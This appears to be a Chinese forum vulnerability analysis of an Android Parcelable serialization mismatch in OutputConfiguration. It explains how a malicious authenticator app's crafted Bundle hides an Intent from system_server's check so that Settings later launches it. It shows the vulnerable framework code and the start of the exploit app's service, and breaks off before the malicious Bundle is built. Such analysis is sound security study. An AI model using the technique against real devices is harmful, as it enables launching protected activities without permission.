这个漏洞与其他同期在Android公告上披露的漏洞,都是源与框架中Parcelable对象的写入(序列化)与读出(反序列化)的不一致所造成的。例如将其中一个成员变量以long类型写入,而以int类型读入时,这种不同步就能被利用进行攻击。
当所有数据都被序列化装载进Bundle后,接下来则需要依次在Bundle头部写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对的数量。下面是完整的Bundle简单结构图:
反序列化过程则完全是一个对称的逆过程,依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42)、键值对。读键值对的时候,调用对象的readFromParcel方法,从Bundle读取相应长度的数据,重新构建这个对象。
这个流程是AppA在请求添加一个帐号:
AppA请求添加一个帐号
system_server接受到请求,找到可以提供帐号服务的AppB,并发起请求
AppB返回了一个Bundle给系统,系统把Bundle转发给AppA
这个Bundle对象中包含的一个键值对{KEY_INTENT:intent},最终会传递到AppA,由后者调用startActivity(intent)调起一个Activity
上次过程涉及到两次序列及两次反序列化的数据传输。
第一次序列化:普通AppB将Bundle序列化后通过Binder传递给system_server。
第一次反序列化:system_server通过Bundle的一系列readXXX(如readInt、readParcelable)函数对AppB传输的Bundle进行反序列化,获得键KEY_INTENT以及这个键对应的值——一个intent对象,进行安全检查。
第二次序列化:若检查通过,对上面检查的对象都进行第二次序列化,
第二次反序列化:最后Settings中反序列化后重新获得{KEY_INTENT:intent},调用startActivity。
如果对象的写入(序列化)与读出(反序列化)不一致,那么就可以构造合适的数据,数据中包含了恶意的Intent,在第二次序列化和反序列化过程中绕过system_server的检测,却能够在最后被Settings成功读取出来并调用startActivity。下面将会介绍具体的绕过过程。
可以看到,writeToParcel中写入了一个32位的mIsShared,但是在createFromParcel中少读了一个32位的mIsShared。导致在读写内存时错位。
因此,我们可以在序列化的Bundle构造如下数据:
在Autherticator App中构造恶意Bundle。在system_server发生的第一次反序列化时,识别到第一个对象为OutputConfiguration,调用它的readToParcel将数据读入。由于它的readToParcel不会读入mIsShared,因此把我们构造的'0'作为ArrayList的长度读入了,确认到ArrayList的长度为0,也就结束了第一个键值对的读入。读取第二个键值对时,识别到值的类型为ByteArray(13),因此会把我们的恶意Intent作为ByteArray的数据读入,而不会进行检查。
然后,第二次序列化时system_server通过writeint将mIsShared写入Bundle,多出了一个32位的‘0’,后续内容不变。
最后,Settings反序列化读入Bundle,由于仍然不读入mIsShared,因此刚刚写入的mIsShared会被读到ArrayList的长度中,识别到ArrayList的长度为0,就认为读OutputConfiguration完毕。接下来开始读第二个键值对,把0连同紧接着的1,认为是第二个键值对的键为null,然后6作为值的类型被读入,认为是long,于是后面把13和接下来ByteArray length的8字节作为第二个键值对的值,就结束了对long的读取。最终,恶意KEY_INTENT显现出来作为第三个键值对!
在AndroidManifest文件中设置
实现AuthenticatorService
实现MyAuthenticator,addAccount方法中构建恶意Bundle
public
class
User implements Parcelable {
private String name;
private
int
age;
public User(String name,
int
age) {
this.name
=
name;
this.age
=
age;
}
private User(Parcel
in
) {
name
=
in
.readString();
age
=
in
.readInt();
}
@Override
public
int
describeContents() {
return
0
;
}
@Override
public void writeToParcel(Parcel dest,
int
flags) {
dest.writeString(name);
dest.writeInt(age);
}
public void readFromParcel(Parcel reply) {
name
=
reply.readString();
age
=
reply.readInt();
}
public static final Parcelable.Creator<User> CREATOR
=
new Parcelable.Creator<User>() {
@Override
public User createFromParcel(Parcel source) {
return
new User(source);
}
@Override
public User[] newArray(
int
size) {
return
new User[size];
}
};
}
public
class
User implements Parcelable {
private String name;
private
int
age;
public User(String name,
int
age) {
this.name
=
name;
this.age
=
age;
}
private User(Parcel
in
) {
name
=
in
.readString();
age
=
in
.readInt();
}
@Override
public
int
describeContents() {
return
0
;
}
@Override
public void writeToParcel(Parcel dest,
int
flags) {
dest.writeString(name);
dest.writeInt(age);
}
public void readFromParcel(Parcel reply) {
name
=
reply.readString();
age
=
reply.readInt();
}
public static final Parcelable.Creator<User> CREATOR
=
new Parcelable.Creator<User>() {
@Override
public User createFromParcel(Parcel source) {
return
new User(source);
}
@Override
public User[] newArray(
int
size) {
return
new User[size];
}
};
}
private static final
int
VAL_NULL
=
-
1
;
private static final
int
VAL_STRING
=
0
;
private static final
int
VAL_INTEGER
=
1
;
private static final
int
VAL_MAP
=
2
;
private static final
int
VAL_BUNDLE
=
3
;
private static final
int
VAL_PARCELABLE
=
4
;
private static final
int
VAL_SHORT
=
5
;
private static final
int
VAL_LONG
=
6
;
private static final
int
VAL_NULL
=
-
1
;
private static final
int
VAL_STRING
=
0
;
private static final
int
VAL_INTEGER
=
1
;
private static final
int
VAL_MAP
=
2
;
private static final
int
VAL_BUNDLE
=
3
;
private static final
int
VAL_PARCELABLE
=
4
;
private static final
int
VAL_SHORT
=
5
;
private static final
int
VAL_LONG
=
6
;
public void writeToParcel(Parcel dest,
int
flags) {
if
(dest
=
=
null) {
throw new IllegalArgumentException(
"dest must not be null"
);
}
dest.writeInt(mRotation);
dest.writeInt(mSurfaceGroupId);
dest.writeInt(mSurfaceType);
dest.writeInt(mConfiguredSize.getWidth());
dest.writeInt(mConfiguredSize.getHeight());
dest.writeInt(mIsDeferredConfig ?
1
:
0
);
dest.writeInt(mIsShared ?
1
:
0
);
dest.writeTypedList(mSurfaces);
}
private OutputConfiguration(@NonNull Parcel source) {
int
rotation
=
source.readInt();
int
surfaceSetId
=
source.readInt();
int
surfaceType
=
source.readInt();
int
width
=
source.readInt();
int
height
=
source.readInt();
boolean isDeferred
=
source.readInt()
=
=
1
;
/
/
missing write mIsShared
ArrayList<Surface> surfaces
=
new ArrayList<Surface>();
source.readTypedList(surfaces, Surface.CREATOR);
checkArgumentInRange(rotation, ROTATION_0, ROTATION_270,
"Rotation constant"
);
...
...
...
}
public void writeToParcel(Parcel dest,
int
flags) {
if
(dest
=
=
null) {
throw new IllegalArgumentException(
"dest must not be null"
);
}
dest.writeInt(mRotation);
dest.writeInt(mSurfaceGroupId);
dest.writeInt(mSurfaceType);
dest.writeInt(mConfiguredSize.getWidth());
dest.writeInt(mConfiguredSize.getHeight());
dest.writeInt(mIsDeferredConfig ?
1
:
0
);
dest.writeInt(mIsShared ?
1
:
0
);
dest.writeTypedList(mSurfaces);
}
private OutputConfiguration(@NonNull Parcel source) {
int
rotation
=
source.readInt();
int
surfaceSetId
=
source.readInt();
int
surfaceType
=
source.readInt();
int
width
=
source.readInt();
int
height
=
source.readInt();
boolean isDeferred
=
source.readInt()
=
=
1
;
/
/
missing write mIsShared
ArrayList<Surface> surfaces
=
new ArrayList<Surface>();
source.readTypedList(surfaces, Surface.CREATOR);
checkArgumentInRange(rotation, ROTATION_0, ROTATION_270,
"Rotation constant"
);
...
...
...
}
<service
android:name
=
".AuthenticatorService"
android:exported
=
"true"
android:enabled
=
"true"
>
<intent
-
filter
>
<action android:name
=
"android.accounts.AccountAuthenticator"
/
>
<
/
intent
-
filter
>
<meta
-
data android:name
=
"android.accounts.AccountAuthenticator"
android:resource
=
"@xml/authenticator"
/
>
<
/
service>
<service
android:name
=
".AuthenticatorService"
android:exported
=
"true"
android:enabled
=
"true"
>
<intent
-
filter
>
<action android:name
=
"android.accounts.AccountAuthenticator"
/
>
<
/
intent
-
filter
>
<meta
-
data android:name
=
"android.accounts.AccountAuthenticator"
android:resource
=
"@xml/authenticator"
/
>
<
/
service>
public
class
AuthenticatorService extends Service {
public AuthenticatorService() {
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
MyAuthenticator authenticator
=
new MyAuthenticator(this);
return
authenticator.getIBinder();
}
}
public
class
AuthenticatorService extends Service {
public AuthenticatorService() {
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-11-29 10:56
被kanxue编辑
,原因: